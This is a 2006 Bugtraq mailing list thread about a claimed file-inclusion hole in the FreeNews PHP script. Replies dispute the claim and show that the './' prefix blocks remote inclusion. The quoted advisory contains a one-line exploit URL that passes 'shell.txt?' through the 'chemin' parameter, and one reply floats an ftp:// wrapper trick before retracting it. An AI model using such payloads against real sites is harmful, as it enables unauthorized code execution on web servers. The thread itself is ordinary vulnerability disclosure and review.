Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: freenews---> fileinclude
From: pokley <saleh () scan-associates net>
Date: Tue, 31 Oct 2006 18:27:58 +0800

sorry..

miss look for "./" prefix in file_exists call. so it will not work after all.. :-)


On Tue, 31 Oct 2006 18:24:56 +0800, pokley <saleh () scan-associates net> wrote:

In PHP 5.x file_exists function have support for Protocols/Wrappers .
So setting $chemin to ftp://blablablab.com/ will work in this case

On Tue, 31 Oct 2006 05:18:58 +0800, Tamriel <tamriel () gmx net> wrote:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

I would quote the whole code arround the includes, like:

[...]
if (file_exists("./".$chemin."/config.php")){
    include ("$chemin/config.php");
    include ("$chemin/options.inc.php");
    include ("$chemin/freenews_functions.inc.php");
}
[...]

You could only include files on the same server, not remote and not a
shell.txt.


MoHaNdKo wrote:
########################################################
#
#freenews---> fileinclude
###############################
#
#include ("$chemin/config.php");
#include ("$chemin/functions.inc.php");
#include ("$chemin/options.inc.php");
#******************************************
#name: MoHaNdKo
#E-mail : xp1o () msn com
#
#
#********************
#exploit:
#            www.****.com/path/aff_news.php?chemin=shell.txt?           
#
#
#********************
#Greatz:
#         www.xp10.com & www.d4eg.org & www.dmazika.org
#
#                             www.tryag.com



-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (MingW32)

iD8DBQFFRmxCqBhP+Twks7oRCqoAAJ9YaqJn7Mdptjgc17uIV76Qcy5eVwCfRNpf
DmmJNRb3gp/R32Dq8dINQks=
=BGMI
-----END PGP SIGNATURE-----







--
SCAN CONFIDENTIALITY NOTICE & DISCLAIMER

The contents of this e-mail and its attachment, if any ("message") are
intended for the named addressee only and may contain confidential
information. If you are not the named addressee, you must not copy this
message or disclose it to any other person. If you received this message by
error, you should delete this message immediately and notify the sender by
return e-mail.


SCAN Associates Berhad, its subsidiaries and/or group companies ("SCAN")
disclaim all liability for any error, loss or damage arising from this
message being infected by computer virus or other malicious software. The
views and other information in this message that do not relate to the
official business of SCAN shall not be deemed provided nor endorsed by SCAN.



  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault